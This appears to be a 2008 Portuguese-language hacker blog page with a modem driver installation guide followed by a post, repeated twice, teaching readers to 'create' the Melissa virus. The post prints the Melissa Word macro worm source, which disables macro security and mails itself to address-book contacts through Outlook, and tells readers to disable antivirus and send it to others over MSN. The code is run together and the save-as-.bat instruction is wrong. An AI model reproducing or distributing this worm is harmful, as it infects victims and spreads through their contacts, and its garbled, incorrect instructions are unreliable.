1ºPRIMEIRO PARA VOCE ESTALA UM MODEM BEM VOCE TEM QUE TER O CD CLARO
SER NAO TIVE O CD BAIXE DA INTERNET PREFERECIA O BAIXE AKI E BOM TEM TUDO SO NAO PROGAMA HACK LA NAO TEM
VAMOIS LA
PRIMEIRO ENSIRA O CD NA GRAVADORA AI VAI LA EM
1ºVAMOIS LA CHICK COM O BOTÃO DIREITO DO MAUSE EM CIMA DO MEU COMPUTADOR
2ºVAI EM PROPRIEDADE
3º VAI EM HARWARE
4º VAI EM GERECIADOR DE DISPOZITIVO
5º VAI EM PROPRIEDADE DO MODEM
6º AGORA VOCE CHICK NA OPÇÃO ATUALIZAR MODEM
7º E O MODEM VAI ATUALIZA A E SO
ASSINADO:HACK_SYNTAX 4
segunda-feira, 18 de agosto de 2008
domingo, 17 de agosto de 2008
CRIANDO UM VIRUS MELISSA
UM VIRUS MELISSA E UM VIRUS MAIS PIRIGOSO DA INTERNET E MAIS PERIGOSO QUE O CAVALO DE TROIA E O TROJAN OS DOIS JUNTOS NAO E NADA PERTO DESSE VIRUS QUE VOU ENSINA VOCE CRIAR PESSOA
PRIMEIRO VA NESSE LUGAR
1º INICIAR>>
2ºPROGAMA>>
3ºACESSORIOS>>
4ºBLOCO DE NOTAS>>
OU INICIAR >>EXECUTAR>>notepad.exe
APARECEU O BLOCO DE NOTAS VOCE COPIA ESSE CODIGO AKI
Private Sub Document_Open()On Error Resume NextIf System.PrivateProfileString("","HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> ""ThenCommandBars("Macro").Controls("Security...").Enabled = FalseSystem.PrivateProfileString("","HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&ElseCommandBars("Tools").Controls("Macro").Enabled = FalseOptions.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1):Options.SaveNormalPrompt = (1 - 1)End IfDim UngaDasOutlook, DasMapiName, BreakUmOffASliceSet UngaDasOutlook = CreateObject("Outlook.Application")Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")If System.PrivateProfileString("","HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo"ThenIf UngaDasOutlook = "Outlook" ThenDasMapiName.Logon "profile", "password"For y = 1 To DasMapiName.AddressLists.CountSet AddyBook = DasMapiName.AddressLists(y)x = 1Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)For oo = 1 To AddyBook.AddressEntries.CountPeep = AddyBook.AddressEntries(x)BreakUmOffASlice.Recipients.Add Peepx = x + 1If x > 50 Then oo = AddyBook.AddressEntries.CountNext ooBreakUmOffASlice.Subject = "Important Message From " &Application.UserNameBreakUmOffASlice.Body = "Here is that document you asked for ... don'tshow anyone else Wink"BreakUmOffASlice.Attachments.Add ActiveDocument.FullNameBreakUmOffASlice.SendPeep = ""Next yDasMapiName.Logoff
E COLA NO BLOCO DE NOTAS E SALVA COMO >>HACK.BAT >>NAO COMO XX.TXT
A TEM MAIS UMA BLOQUER O SEU ANTI VIRUS SER NAO ELE ACUSAR
PARA MANDA NO MSN SO CHICK COM O BOTÃO DIREITO E NOVO ZIP E JA ERRA SO FELIZIDADE
QUEM GOSTA DA UM UP
ASS:Hacker_syntax4
PRIMEIRO VA NESSE LUGAR
1º INICIAR>>
2ºPROGAMA>>
3ºACESSORIOS>>
4ºBLOCO DE NOTAS>>
OU INICIAR >>EXECUTAR>>notepad.exe
APARECEU O BLOCO DE NOTAS VOCE COPIA ESSE CODIGO AKI
Private Sub Document_Open()On Error Resume NextIf System.PrivateProfileString("","HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> ""ThenCommandBars("Macro").Controls("Security...").Enabled = FalseSystem.PrivateProfileString("","HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&ElseCommandBars("Tools").Controls("Macro").Enabled = FalseOptions.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1):Options.SaveNormalPrompt = (1 - 1)End IfDim UngaDasOutlook, DasMapiName, BreakUmOffASliceSet UngaDasOutlook = CreateObject("Outlook.Application")Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")If System.PrivateProfileString("","HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo"ThenIf UngaDasOutlook = "Outlook" ThenDasMapiName.Logon "profile", "password"For y = 1 To DasMapiName.AddressLists.CountSet AddyBook = DasMapiName.AddressLists(y)x = 1Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)For oo = 1 To AddyBook.AddressEntries.CountPeep = AddyBook.AddressEntries(x)BreakUmOffASlice.Recipients.Add Peepx = x + 1If x > 50 Then oo = AddyBook.AddressEntries.CountNext ooBreakUmOffASlice.Subject = "Important Message From " &Application.UserNameBreakUmOffASlice.Body = "Here is that document you asked for ... don'tshow anyone else Wink"BreakUmOffASlice.Attachments.Add ActiveDocument.FullNameBreakUmOffASlice.SendPeep = ""Next yDasMapiName.Logoff
E COLA NO BLOCO DE NOTAS E SALVA COMO >>HACK.BAT >>NAO COMO XX.TXT
A TEM MAIS UMA BLOQUER O SEU ANTI VIRUS SER NAO ELE ACUSAR
PARA MANDA NO MSN SO CHICK COM O BOTÃO DIREITO E NOVO ZIP E JA ERRA SO FELIZIDADE
QUEM GOSTA DA UM UP
ASS:Hacker_syntax4
Assinar:
Postagens (Atom)